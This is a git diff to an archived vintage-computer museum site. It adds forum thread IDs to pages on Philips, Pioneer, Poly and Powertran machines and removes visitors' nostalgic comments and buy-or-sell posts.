author: Kathy (Montreal, Québec, Canada) - date: Monday 7th February 2011 - text: I first learned WP on a MICOM 2000 series - then started a home-based Secretarial Service and bought a MICOM 3000 - which, last time I turned it on, still worked. I have daisy wheels, floppies, training manuals. the printer, which I think I paid $5,000 for - stopped functioning years ago. oc_id: 904 source: url: https://web.archive.org/web/20230605033102/http://www.old-computers.com/museum/computer.asp?c=904 diff --git a/content/museum/philips-p5000-series.md b/content/museum/philips-p5000-series.md index 4617655b..1ca25d70 100644 --- a/content/museum/philips-p5000-series.md +++ b/content/museum/philips-p5000-series.md @@ -68,6 +68,7 @@ params: value: About $25,000 tabs: - photos + forum_thread: 968 photos: - title: SYSTEM subtitle: '' @@ -115,19 +116,6 @@ params: subtitle: '' text: The beast was born and first used in Canada, then its owner carried it to the U.K. image: /media/museum/photos/philips_p5200_label_s1.jpg - comments: - - author: Kostas Kritsilas - date: Wednesday 25th April 2012 - text: |- - I used to work at the Town of Mount Royal production facility from 1981-1993/4 (facility had moved to Ville St. Laurent by then). - - P5000 came in two major types$ one was 8080 based, and the other was Z80 based. RAM on teh 8080 was 64K, 128K on the Z80. The Z80 was used on the "twin" (two terminal and two printer) version, and the Cluster (or 4 Head/4 terminal version). - - Software was remarkably efficient$ copies going between the two floppies, printing, and editing all at the same time on up to 4 terminals, on an 8 bit CPU and 128K of RAM. - - As far as I know, the software was originanally developed in Ottawa, lead by the person who would become company president (went to school with Dr. Wang). Company started as Micom, and was eventually bought by Philiips. - - Kostas oc_id: 994 source: url: https://web.archive.org/web/20230607045836/http://www.old-computers.com/museum/computer.asp?c=994 diff --git a/content/museum/philips-tele-spiel-es-2201.md b/content/museum/philips-tele-spiel-es-2201.md index f4a9de47..88699fac 100644 --- a/content/museum/philips-tele-spiel-es-2201.md +++ b/content/museum/philips-tele-spiel-es-2201.md @@ -47,6 +47,7 @@ params: - software - links - docs + forum_thread: 648 photos: - title: ES-2201 subtitle: '' @@ -148,10 +149,6 @@ params:  size : 1,2 MB **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Per (Norway) - date: Saturday 14th May 2011 - text: Ah, memories. Got one of these in the early eighties from a cousin whos husband was a sailor. Spent many hours, until one morning I woke up to a totally destroyed system - my younger brother had decided to ''fix'' it with the help of a pair of scissors... Would love to own one of these again... oc_id: 664 source: url: https://web.archive.org/web/20230614011007/http://www.old-computers.com/museum/computer.asp?c=664 diff --git a/content/museum/philips-vg-5000.md b/content/museum/philips-vg-5000.md index f7d69a81..896d4ad4 100644 --- a/content/museum/philips-vg-5000.md +++ b/content/museum/philips-vg-5000.md @@ -86,6 +86,7 @@ params: - emulators - links - videos + forum_thread: 259 photos: - title: SPINNING PHILIPS VG-5000 subtitle: '' @@ -377,25 +378,6 @@ params: - title: french TV advert url: https://www.youtube.com/watch?v=FIK8wQKKLQs text: 'Length: 31 s' - comments: - - author: Dan - date: Sunday 17th November 2019 - text: The Philips VG 5000 definitely isn''t the first homecomputer by Philips. They had several systems like the P2000 series before the 5000! - - author: zozo (france) - date: Thursday 30th October 2014 - text: j''oubliais, c''était ma 1ere machine !!! et j''étais content mais j''avais pas encore mon propre moniteur je devais utiliser la télévision de la maison un grand handicape. - - author: zozo (france) - date: Thursday 30th October 2014 - text: j''en ai ue un en 1985 processeur tournant à 4mhz !!! le plus rapide des 8 bit a l''époque. dommage qu''il n''y est pas eu de sprites et plus de couleurs. - - author: Quesnel (France) - date: Monday 8th July 2002 - text: |- - Hello, i'm a french and i search a book and a cassette game for a VG5000. Thank you!\ - Laulau@chez.com - - Bonjour, je suis francais et je recherche des jeux, programmes, magasines pour le VG5000 (en clair tout pour le VG5000.\ - Voici mon site: www.chez.com/laulau\ - mon e-mail: laulau@chez.com related: - /museum/radiola-vg-5000 oc_id: 249 diff --git a/content/museum/philips-vg-8000-8010.md b/content/museum/philips-vg-8000-8010.md index 8f916def..a35a72bb 100644 --- a/content/museum/philips-vg-8000-8010.md +++ b/content/museum/philips-vg-8000-8010.md @@ -72,6 +72,7 @@ params: - hardware - emulators - links + forum_thread: 306 photos: - title: THE VG-8000 subtitle: '' @@ -249,13 +250,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/philips-vg-8020.md b/content/museum/philips-vg-8020.md index 07ce060e..741a4c29 100644 --- a/content/museum/philips-vg-8020.md +++ b/content/museum/philips-vg-8020.md @@ -68,6 +68,7 @@ params: - hardware - emulators - links + forum_thread: 260 photos: - title: FRONT subtitle: '' @@ -299,43 +300,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Folko (Germany) - date: Tuesday 6th July 2021 - text: 'In regards to the idea mentioned here that they sold a 80k RAM version in Spain to avoid taxes (like the Amstrad CPC 472 by adding unusable 8k to the CPC464 in Spain): The 80k statement was printed on all VG 8020 cases and it is just marketing by adding the 64k system ram with the 16k video ram. It’s still a 64k system ram computer and they did have to pay the Spanish tax. $-)' - - author: Thierry (France) - date: Monday 29th June 2020 - text: |- - hello :-)\ - Sure the vg 8020-19 (France) has no RF out since...RGB (din to scart) output instead, yeah $-)\ - Great feature at this times in early 80ties, also on other old computers sold in France.(ex:ti99)\ - Better video quality with this $-) - - author: MsxKun - date: Monday 18th June 2012 - text: |- - $$Due to some differences in the chipset, the Philips VG-8020 was not always 100$ compatible with other MSX-computers. Typing ''poke -1,170'' before loading programs usually fixed the bug. - - That''s not correct. It wasn''t a problem of the comp, but of the software that didn''t follow the standard specs. Well done software never failed. - - author: Eric Wolff (Luxemburg) - date: Monday 24th October 2011 - text: Ok update :) mine has written on the top 80kb ram+ 16kbvideo seems this is a model to avoid the spanish n on keyboard tax. Seeing that i got it from spain it makes sense. Hope it helped a bit :) - - author: Wolff Eric (Luxemburg) - date: Thursday 13rd October 2011 - text: It s a pal model i got from spain but cant say much more about it:( - - author: Eric Wolff - date: Wednesday 12th October 2011 - text: Hi i can say there are 4 models not 3 i have a vg8020/40 no idea what the difference is though. Only wanted to complete the data . - - author: noobsaibot73 ((Madrid (Spain))) - date: Saturday 6th December 2008 - text: |- - There''s another difference between the Secam and the Pal models, Pal models come with RF lead which is missing in the Secam models. - - This is a superb computer, I owned one and I was so happy with it...If you''re looking for a good MSX1, this is your computer. - - Greetings from Spain. - - author: Francisco Martin (Madrid (Spain)) - date: Friday 21st March 2008 - text: If you look carefully the photographs of the French version (Secam) of the VG8020, and the Pal versions, you'll discover one missing key at the right side of the right shift key. This is another difference between the two models. related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/philips-vg-8235.md b/content/museum/philips-vg-8235.md index 4b8ba0af..75f03d86 100644 --- a/content/museum/philips-vg-8235.md +++ b/content/museum/philips-vg-8235.md @@ -63,6 +63,7 @@ params: - hardware - emulators - links + forum_thread: 261 photos: - title: ANOTHER VIEW subtitle: '' @@ -236,34 +237,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ\ - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Jorge (Portugal) - date: Saturday 25th August 2012 - text: Had the fortune of owning one of these here in Portugal, it was a high quality machine and very expensive (about 500 euros at the time!) and also a corresponding Philips dark grey monochromatic monitor. - - author: Geert Jalink - date: Friday 13rd April 2012 - text: We had this system at school. I had the vg8230 so i could not play all games. - - author: AndiP - date: Sunday 15th May 2011 - text: |- - Hello,\ - I search the manuals for the VG8235 to download in german or english. - - Thanks Andreas - - author: Svetlana - date: Friday 17th September 2010 - text: http://www.youtube.com/watch?v$lowKKphBms4 - - author: HERROU (PARIS) - date: Sunday 7th July 2002 - text: |- - I FETCH A BASIC LANGUAGE LIKE ON THE PHILIPS VG-8235 CD-ROOM PRATICABLE ON WINDOW\ - (compaq presario portable 1700)\ - THANK YOU related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/philips-videopac-c52.md b/content/museum/philips-videopac-c52.md index 8eb7aa29..4cf254d9 100644 --- a/content/museum/philips-videopac-c52.md +++ b/content/museum/philips-videopac-c52.md @@ -15,6 +15,7 @@ params: - software - emulators - links + forum_thread: 1033 photos: - title: C52 - FRONT subtitle: '' @@ -250,31 +251,6 @@ params: - title: www.videopac.org url: http://www.videopac.org/ text: Excellent site ! Everything Videopac is here ! - comments: - - author: Andres Serrano-Jordan (Spain) - date: Saturday 21st March 2015 - text: You don''t mention there was a C7420 BASIC module released that allowed you to save your programs to cassette. - - author: Frederic (France) - date: Tuesday 19th June 2012 - text: |- - There was something interesting with this machine : There were almost no "licenced" (by this I mean official port of famous game) games, but instead they were variations around the concepts, sometimes adding to the original.\ - By example, in the Pacman-like game the ghosts home portal was moving, and there was a level editor $ in the Space-Invaders-like game ($22) when your ship was destroyed you could trade shelters for a new ship $ the Asteroid-like game had an interesting shield-or-shoot gameplay...\ - Some other games had very funny animations (catapult). - - author: samantha podewski (germany) - date: Friday 16th July 2010 - text: |- - thanks for being a little bit in the past with this site.\ - the videopac g7000 was my first console...... - - author: andree (Sweden) - date: Monday 9th October 2006 - text: |- - Wow, great website. - - Myself started of as a 6 year old with the Philips Videopac C52. - - That was 23 years ago..... - - Amazing how stuff like this can bring sweet memories back to life. related: - /museum/brandt-electronique-ordinateur-de-jeu-jo7400-jopac - /museum/continental-edison-saba-ordinateur-video-jeu-jo-1450-jopac diff --git a/content/museum/philips-videopac-g7000.md b/content/museum/philips-videopac-g7000.md index fdd17e52..de10bb65 100644 --- a/content/museum/philips-videopac-g7000.md +++ b/content/museum/philips-videopac-g7000.md @@ -13,6 +13,7 @@ params: - hardware - emulators - links + forum_thread: 1050 photos: - title: G7000 subtitle: '' @@ -74,35 +75,6 @@ params: - title: www.videopac.org url: http://www.videopac.org/ text: Excellent site ! Everything Videopac is here ! - comments: - - author: paul (ireland) - date: Sunday 7th October 2012 - text: pdillon82@yahoo.com G7000 for sale with lots games - - author: Paul (Ireland) - date: Sunday 7th October 2012 - text: Have G7000 with lots games for sale e-mail myself.Paul - - author: Andy MacLarty (UK) - date: Saturday 22nd November 2008 - text: |- - The Philips G7000 also provided assembly programming via the purchase of a program card although the actual input of your own code was rather long-winded and often ended in a complete reset being required. - - It came complete with two extremely hard-wearing (self centring) joysticks. - - I owned one of the first ones and loved it for its excellent defender and asteroids gamepacks.\ - The game $ion was very limited, but the prices were reasonable and the unit itself was reliable.\ - Audio was via the television speaker not an internal speaker. - - author: robert (mr_yeahman) (Earth) - date: Thursday 31st January 2008 - text: |- - The system lacks of ports, the two joysticks and the tv-output is stuck on the system.\ - Also, the system don´t have any powerswitch, I use to unplug the jacket everytime I´m not playing this console.\ - My console is manufactured 1981, I think.. - - author: Adam (Neo-Tokyo) - date: Tuesday 18th April 2006 - text: The Videopac system also had a music-composer cartridge, where you could compose music and see notes on the screen. The music-composer cartridge was mostly sold with an extra organ-keyboard, so you could make music with the Videopac System! (and that in 1979...) - - author: Morten Slott Hansen (Earth) - date: Thursday 30th June 2005 - text: I remeber having one when I was about 7-8 years old (I was born 1975). There were lots of fun games such as a pacman ripoff where you had to eat a work :-) But worth mentioning is the chess game which cast almost twice as much as the console itself due to a onboard CPU (or something like that) in the chess game cartridge - talk about early dual cpu :-) Then there was the infamouse games of "lord of the rings" and "world war" where a keyboard overlay was used to further enhance the gaming experience - that was pretty cool for someone my age!!! related: - /museum/brandt-electronique-ordinateur-de-jeu-jo7400-jopac - /museum/continental-edison-saba-ordinateur-video-jeu-jo-1450-jopac diff --git a/content/museum/philips-videopac-g7200.md b/content/museum/philips-videopac-g7200.md index d067e62a..d5e8ed60 100644 --- a/content/museum/philips-videopac-g7200.md +++ b/content/museum/philips-videopac-g7200.md @@ -13,6 +13,7 @@ params: - connectors - emulators - links + forum_thread: 1057 photos: - title: VIDEOPAC G7200 subtitle: '' @@ -111,16 +112,6 @@ params: - title: www.videopac.org url: http://www.videopac.org/ text: Excellent site ! Everything Videopac is here ! - comments: - - author: Lady Eklipse (Ukraine) - date: Saturday 12th May 2012 - text: I have got a Vectrex from eBay and now am considering about Videopac. Since I have got my Veccy safe and sound, I suppose it''s quite possible to transfer a Videopac by mail. Just make sure that the seller marks it as ''FRAGILE'' upon postage. - - author: Bill Loguidice (New Jersey, USA) - date: Sunday 26th July 2009 - text: Anyone know if it''s possible to use The Voice with this? - - author: Taneli Lukka (Finland) - date: Wednesday 23rd February 2005 - text: The machine is very fragile and difficult to take apart without braking anything. Mailing it without damage is almost impossible and should not be attempted if not completely necessary. So buying one from eBay and expecting it to arrive with no damage is not very smart as a friend of mine noticed when he got his machine. related: - /museum/brandt-electronique-ordinateur-de-jeu-jo7400-jopac - /museum/continental-edison-saba-ordinateur-video-jeu-jo-1450-jopac diff --git a/content/museum/pioneer-palcom-px-7.md b/content/museum/pioneer-palcom-px-7.md index c94d2c5f..1a09b174 100644 --- a/content/museum/pioneer-palcom-px-7.md +++ b/content/museum/pioneer-palcom-px-7.md @@ -82,6 +82,7 @@ params: - software - emulators - links + forum_thread: 307 photos: - title: A JAPANESE PX-7 subtitle: '' @@ -311,28 +312,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: MAndatory Dog (Shitland) - date: Tuesday 17th July 2018 - text: Miroslave Werner, no need to post image of your own piece, we arent interested. - - author: Darren (Australia) - date: Friday 18th July 2014 - text: |- - Hi Craig (in Australia) - - I have 1 of the (off loaded) Pioneer PX-7 MSX Computers - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Miroslav Werner (Czech Republic) - date: Tuesday 15th February 2011 - text: Palcom PX-7 was also available in dark silver (almost champagne) in Japan. If you are interested, I can post images of my own piece. - - author: Craig Hursey (Australia) - date: Monday 23rd August 2004 - text: Also some units were off loaded in Australia by Pioneer. These were also Black units & Graphics Tablet was avaliable as well. I was informed there were 1000 units avaliable at the time 1985-1986 (as at this stage a lot of Companies pulled the plug on MSX sales in AUSTRALIA) related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/pizon-bros-visiomatic-101.md b/content/museum/pizon-bros-visiomatic-101.md index e3c83e7b..4037506e 100644 --- a/content/museum/pizon-bros-visiomatic-101.md +++ b/content/museum/pizon-bros-visiomatic-101.md @@ -49,6 +49,7 @@ params: tabs: - photos - adverts + forum_thread: 699 photos: - title: VISIOMATIC 101 subtitle: '' @@ -75,22 +76,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/pizon_visiomatic_101_pub2.jpg - comments: - - author: Yves Kien (France) - date: Thursday 24th March 2011 - text: |- - I was an Alcatel technician in charge of this design in 1973!!!!The product was designed by Alcatel and sold by Pizon Bros. We produced approximately 10000 of this type. You can remark that it is possible to play alone against a "robot" (this is a plus i added). - - The chipset is an hybrid circuit designed for that product. I still own one. After this i designed another type with colors (green for the tennis and red for soccer). This application was developped to start a new hybrid circuit prduction line in alcatel factory in Arcueil. This game is working on old TV set through the antenna UHF. - - author: Sly DC (Canada) - date: Thursday 15th July 2021 - text: The color version as described by Yves Kien was called the Colormatic 211 ans was going to be sold in 1978 but got cancelled. The story Yves is telling is true except for the year (not 1973...must be a typo). The "Robot" is in fact a small circuit add-on and not implanted in the GI chip. I still don''t know why that is has the "AY-5-8500-G" inscription instead of the usual "AY-3-8500" found in many European consoles. - - author: Loup Solitaire - date: Monday 12th April 2010 - text: I got this one from a cousin, I never was able to play with it (old antenna system), I checked ebay and found out it had no value (25$) so I gave it. - - author: j4ck (us) - date: Wednesday 30th March 2005 - text: that's a cool looking system. like something a 1970's French kid would play James Bond or Mission Impossible with oc_id: 716 source: url: https://web.archive.org/web/20230613001132/http://www.old-computers.com/museum/computer.asp?c=716 diff --git a/content/museum/playtech-telesport.md b/content/museum/playtech-telesport.md index 187255ec..e9ab49ca 100644 --- a/content/museum/playtech-telesport.md +++ b/content/museum/playtech-telesport.md @@ -50,6 +50,7 @@ params: - photos - emulators - links + forum_thread: 751 photos: - title: CIRCUIT BOARD subtitle: '' @@ -64,16 +65,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Brenton (Australia) - date: Wednesday 19th June 2013 - text: Ah... I can shed some light here. As a 12 year old boy in 1977 I received one of these as a birthday present. I can recall begging my mum to get it. It cost her $29.99, and in those days that was a lot of money to spend on a present. The game console was purchased assembled and bought from Myers toy department at the time. I can recall I could tune it to either VHS 0 or 1 at a flick of a switch. While the game was in in B$W it provided years of fun until I bought my first game colsole in 1983 (An Atari 2600). - - author: Bill (Australia) - date: Sunday 17th June 2012 - text: I just bought one for $20 - - author: Simon (Australia) - date: Saturday 6th January 2007 - text: Does anyone know how much this console (working) would be worth? related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/polistil-v-g-2.md b/content/museum/polistil-v-g-2.md index 74b6b84d..afa0bef8 100644 --- a/content/museum/polistil-v-g-2.md +++ b/content/museum/polistil-v-g-2.md @@ -52,6 +52,7 @@ params: - photos - emulators - links + forum_thread: 1166 photos: - title: POLISTIL VG2 subtitle: '' diff --git a/content/museum/polycon-pg-7-programmable-tv-games.md b/content/museum/polycon-pg-7-programmable-tv-games.md index 10ccc0a4..a99f89e4 100644 --- a/content/museum/polycon-pg-7-programmable-tv-games.md +++ b/content/museum/polycon-pg-7-programmable-tv-games.md @@ -46,6 +46,7 @@ params: - photos - software - links + forum_thread: 1098 photos: - title: PG 7 subtitle: '' @@ -99,18 +100,6 @@ params: - title: INTERNAL LINK url: http://www.old-computers.com/magazine/view.asp?r=2&a=4 text: Article comparing the different GI catridge based systems - comments: - - author: Åland - date: Wednesday 14th December 2016 - text: I sold one of these today for 45€ inclusive 4 cartridges - - author: Cristian Grillo (italy) - date: Thursday 2nd July 2015 - text: I have this console with 4 cartridges... if anybody want tu buy it can contact me here :) cricket.82@hotmail.it - - author: Kimmo (Finland) - date: Wednesday 18th January 2006 - text: |- - I found this rare little machine Polycon PG7 from a web flea market. Unfortunately there's no game cartridges and no power supply.\ - I can provide you some quality digital shots from my machine with a small licence fee. related: - /museum/audiosonic-tele-sports-iv - /museum/bandai-tv-jack-5000 diff --git a/content/museum/polycorp-poly-1-educational-computer.md b/content/museum/polycorp-poly-1-educational-computer.md index b086704f..1d0bec0d 100644 --- a/content/museum/polycorp-poly-1-educational-computer.md +++ b/content/museum/polycorp-poly-1-educational-computer.md @@ -75,6 +75,7 @@ params: - photos - emulators - links + forum_thread: 1235 photos: - title: POLY 1 EDUCATIONAL COMPUTER subtitle: '' @@ -89,16 +90,6 @@ params: - title: The Poly Preservation Project url: http://www.cs.otago.ac.nz/homepages/andrew/poly/Poly.htm text: '' - comments: - - author: lizardb0y (New Zealand) - date: Saturday 28th August 2010 - text: |- - I went to High School in New Zealand in the 80s. My school still had a computer lab with a dozen or so Poly 1 and a couple of Poly 2 computers. They were a strange looking machine, and very heavy. I remember the keyboards on the Poly 1 had copper plates at the sides to let you de-static yourself before using them. They were all networked, and shared a central "server" which looked like a large box with a couple of 8" floppy disk drives. The shared printers also plugged into the "server". Software was very simple - I remember a very basic word processor, and we were taught Pascal on it. - - One of the guys I went to school with is trying to preserve and document information about these machines: http://www.cs.otago.ac.nz/homepages/andrew/poly/Poly.htm - - author: Diego (Earth) - date: Wednesday 22nd August 2007 - text: The CPU speed has to be 1 Mhz, because the 6809 was never rated for 4 Mhz. (2 Mhz in Motorola made parts, 3 Mhz for some hitachi ones) oc_id: 1269 source: url: https://web.archive.org/web/20230601001859/http://www.old-computers.com/museum/computer.asp?c=1269 diff --git a/content/museum/polymax-maxxi.md b/content/museum/polymax-maxxi.md index 7191d231..40113a83 100644 --- a/content/museum/polymax-maxxi.md +++ b/content/museum/polymax-maxxi.md @@ -57,6 +57,7 @@ params: - photos - adverts - links + forum_thread: 1290 photos: - title: MAXXI COMPUTER subtitle: '' diff --git a/content/museum/polymorphic-poly-88.md b/content/museum/polymorphic-poly-88.md index 60dfe8a8..8d6bf5de 100644 --- a/content/museum/polymorphic-poly-88.md +++ b/content/museum/polymorphic-poly-88.md @@ -69,6 +69,7 @@ params: - software - emulators - links + forum_thread: 554 photos: - title: 'SYSTEM #1' subtitle: '' @@ -204,41 +205,6 @@ params: - title: www.retrotechnology.com url: http://www.retrotechnology.com/restore/poly_restore.html text: A page dedicated to the restoration of a Poly 88 - comments: - - author: pedro (portugal) - date: Friday 1st January 2021 - text: I am looking to buy a poly 88 computer in any condition. I you have one please email me my email is :pedrovfroque@outlook.com - - author: pedro (portugal) - date: Friday 1st January 2021 - text: I love vintage computers and I am looking to have more information about some systems that I have in my collection. - - author: Ken Krugler (United States) - date: Thursday 5th March 2020 - text: I have a Poly-88 that I built from kit in 1977, along with a bunch of cassette tapes and a keyboard. Let me know if anyone wants this, otherwise it''s getting tossed (we''re down-sizing) - - author: Mike Douglas - date: Saturday 9th November 2019 - text: Marvin, I obtained a large collection of Poly-8813’s and 8810’s about a year ago along with a few hundred diskettes. I fully restored one of the 8813’s and it is running great under System-88 (Exec). However, I really wanted to find and restore an 8813 with the Polymorphic mods for CP/M. This summer I found one of these board sets (CPU, VTI and RAM board) and have recently finished restoring them to operating condition. I had to create a version of CP/M for the 8813 from scratch since none of the few hundred disks I have are Poly CP/M disks. Please look through your disks and let me know if any of them have CP/M related files on them. I have written utilities for archiving and writing disks to/from a PC over a serial port connection to the Poly 8813. - - author: Marvin Johnston (California USA) - date: Tuesday 20th August 2019 - text: I probably have the worlds largest collection of remaining Polymorphic drawings, boards, etc. While I am not very quick on responding... too much stuff :)..., I may be able to help with information. My collection includes four or five Poly 88s, a Poly 8810, Poly 8813, and maybe around 200 spare boards in various stages from partially built to complete and tested plus two filing cabinets full of Poly documentation. My next project will be to start archiving all the software. I probably have several thousand Poly disks, both 5 1/4" and 8", so this will take a while! - - author: Edward W. Jackson (Missouri, USA) - date: Thursday 12th September 2013 - text: In the late 70''s I paid almost four grand for this system, with a walnut cabinet for the floppy drive, processor! It was stolen from my Santa Barbara home, within two weeks... - - author: Robert Nind (Canada) - date: Saturday 3rd March 2012 - text: I have a Polly 88 that worked well. I did a lot of upgrades to it including adding dual 5-1/4 shugart floppy drives with North Star Controller. I later put the polly 88 boards into an Altair 8800 box so I could add more S-100 cards. I also converted games from the Sol-80 to run on the Polly 88. Star Trek and air traffic controller. i haven''t used it in years. I have 3 complete polly 88''s that probably still work. - - author: Don Haywood (Colorado USA) - date: Sunday 19th December 2010 - text: |- - The Poly 88 was also available as a system 0. It included all of the basic components but without the mother board, memory or cabinet. - - I built my own missing stuff and still have it.\ - DH - - author: zach (arkansas) - date: Wednesday 21st July 2004 - text: hmmmm,,me too,does eneyone know eney min computer emulation ? - - author: Sam Wilson (bergen, norway) - date: Thursday 21st November 2002 - text: Hmmm... I remember reading somewhere that the poly 88 was called the "micro-Altair" at some stage - the name was changed after MITs complained. related: - /museum/polymorphic-system-8813 oc_id: 563 diff --git a/content/museum/polymorphic-system-8813.md b/content/museum/polymorphic-system-8813.md index ea3e5da4..d4eaa031 100644 --- a/content/museum/polymorphic-system-8813.md +++ b/content/museum/polymorphic-system-8813.md @@ -67,6 +67,7 @@ params: - adverts - emulators - links + forum_thread: 67 photos: - title: 8810 MODEL subtitle: '' @@ -124,25 +125,6 @@ params: - title: www.retrotechnology.com url: http://www.retrotechnology.com/restore/poly_restore.html text: A page dedicated to the restoration of a Poly 88 - comments: - - author: Chris Cordes ( USA) - date: Wednesday 17th September 2014 - text: Back in 1979/80 I wrote a surveyor''s package on one to do closures and property descriptions. Nice machine for the time. - - author: Tom Towle (United States) - date: Friday 11th July 2014 - text: |- - Hi, - - Great website! - - I was the Quality Control Computer Technician for Polymorphic Systems when they ‘folded’. I was responsible for troubleshooting and repairing all units when I worked there. - - Poly was a good company with a great product at the time. We just had a lot of competition. - - Tom - - author: Graham K. Mullins (US) - date: Sunday 20th June 2010 - text: I currently have two of the Polymorphic System 8813 computers. One was purchased in 1978 at a cost of $5000.00 with only the operating system and Basic language. I developed my on systems for accounting and payroll which I used to process data for several companies. I later purchased a used system as a backup because of the lack of repair service (which I had to do mostly myself). Used both systems until about 1984 and retired them. Since I have not used either system for several years, I do not know if either would operate. I used a TI printer (160 cps) that cost 2000.00. The editor was far better than what was used in the DOS operating system. related: - /museum/polymorphic-poly-88 oc_id: 51 diff --git a/content/museum/poppy-9015.md b/content/museum/poppy-9015.md index 0049ae72..f4adf498 100644 --- a/content/museum/poppy-9015.md +++ b/content/museum/poppy-9015.md @@ -42,6 +42,7 @@ params: - photos - software - links + forum_thread: 726 photos: - title: POPPY 9015 subtitle: '' diff --git a/content/museum/poppy-9017-colour-tv-game.md b/content/museum/poppy-9017-colour-tv-game.md index 34ce0a29..e2bb4f28 100644 --- a/content/museum/poppy-9017-colour-tv-game.md +++ b/content/museum/poppy-9017-colour-tv-game.md @@ -10,6 +10,7 @@ params: tabs: - software - links + forum_thread: 799 screenshots: - title: TENNIS subtitle: '' @@ -31,15 +32,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Olivier (France) - date: Friday 16th January 2004 - text: Not much I'm afraid. Pong systems are not worth much except some very rare systems... - - author: Dave C (UK Leeds) - date: Friday 16th January 2004 - text: |- - Does anyone know how much a Poppy 9012 would go for nowadays?\ - I've got one at home in the loft and am wanting to get it out and play it again after visiting this site related: - /museum/tele-partner-giochi-televisivi-mod-g oc_id: 818 diff --git a/content/museum/powertran-cybernetics-cortex.md b/content/museum/powertran-cybernetics-cortex.md index 2ae1de53..4f4fd1cb 100644 --- a/content/museum/powertran-cybernetics-cortex.md +++ b/content/museum/powertran-cybernetics-cortex.md @@ -63,6 +63,7 @@ params: tabs: - links - docs + forum_thread: 181 links: - title: www.powertrancortex.com url: http://www.powertrancortex.com/ @@ -87,53 +88,6 @@ params:  compiled/archived by Stuart Conner\  type of document : PDF - comments: - - author: Dennis Johnson (Wales/UK) - date: Thursday 15th October 2020 - text: |- - I built a Cortex back at end of 1982 when it came out in the magazine Electronics Today.Being a keen electronics hobbyist,it looked like the ideal thing for me to get my teeth into.I trained in the early days on Digital PDP8 and 11 linked to engineering equpment.I did a lot of machine code writing for the Cortex and wrote games like Othello,Mastermind and mazes etc.\ - My machine now needs some tlc,which it will have even though it still works fine.At the time I built it,it was way ahead of its time and really fast with "sprites"that could be moved around the screen.\ - Not quite sure what to do with it now as space is somewhat limited in new home. - - author: Joe Mc (UK) - date: Monday 15th June 2020 - text: Hello, I still have a brochure for a "Powertran" PSI COMP 80 (Z80 based computer). The keyboard looks exactly the same as the one in your small pic but it has a hex pad where your pic has a numeric keypad? I think I have details of a precursor to the one you have presented. If you would like, I can scan and email the pages (7 of them). Kind Regards Joe. - - author: Jim Hearne (UK) - date: Friday 4th January 2013 - text: |- - I have a Cortex 2, built from old stock kit last year. It''s running complete with the FDC and dual 5.25" drives from a BBC computer. If you have the missing copies of the Cortex user group magazine please visit http://www.vintage-computer.com/vcforum/showthread.php?15580-Powertran-Cortex and let us know. - - Jim - - author: FreeThinker (UK) - date: Thursday 4th November 2010 - text: |- - The ETI article for the cortex can be found here\ - ftp://whtech.com/Powertran$20Cortex\ - also includes an emulator, Roms etc.\ - Enjoy!\ - Keith - - author: david loudfoot (uk) - date: Monday 31st May 2010 - text: HI, I still have my cortex stored in my loft in essex but at the moment it is not working, would love to get it up and going again. - - author: Chris Followell (UK/ Spain) - date: Monday 24th May 2010 - text: Hi Guys, I worked for TI at the time and of the Cortex. I was the sales engineer for the Cortex components (TMS9995 CPU and TTL and DRAM. I co wrote the Electronics Today International Article along with Neil Quarmby, the TI project manager for the Cortex. The case PSU etc were all done by Powertran, we at TI just did the motherboard and the software. I still have my copies of the three issues of the magazine, so if anyone wants me to scan them, just say pretty please and I will do it when I get a free moment. It was a fun project and of course was well ahead of its time, being a 16 bit CPU in the days of 8 bits. We used the same processor for the first Viewdata (Prestel) decoder boards. With V23 Modems (1200/75 - good grief!) The US Home Computer division also used the 9995 - whereas Sir Clive was still using the Z80! - - author: Dave Hunter (Ft Lauderdale, Florida, USA)) - date: Saturday 13rd June 2009 - text: I have two of these. Both work, have disk drives and the V9938 MSX Video Chip. I have both the CDOS and MDEX Operating Systems. CDOS is the Disk Filing System extension for the built-in Cortex Basic. MDEX (Marinchip Disk EXecutive) was the first Disk Operating System and was quite simple. It over-wrote Cortex Basic at boot so you couldn''t use any programs developed in its native environment. However you also could buy QBASIC (Basic compiler) and SPL (Sytems Programming Language compiler), the latter was somewhat similar to C. I have lots of knowledge on this computer and have posted some info over at vintage-computer.com under the name of ''tms9995''. - - author: James Fetzner (USA) - date: Saturday 9th May 2009 - text: I finally acquired a functional Cortex after a long search (many years, off and on). It only has the cassette interface installed, but I plan to try and finish the disk interface. I also noticed that the documentation I received with mine has several pages that aren''t in the documentation included on the site. I will try and rectify that once I can get the additional pages scanned. - - author: Anders Carlsson (Västerås, Sweden) - date: Friday 20th March 2009 - text: The Swedish electronics magazine Elektronikvärlden in late 1983, early 1984 also had a series how to build the Cortex computer, probably they translated and reprinted the UK articles. Some readers got so involved they even posted follow-up questions about the project. - - 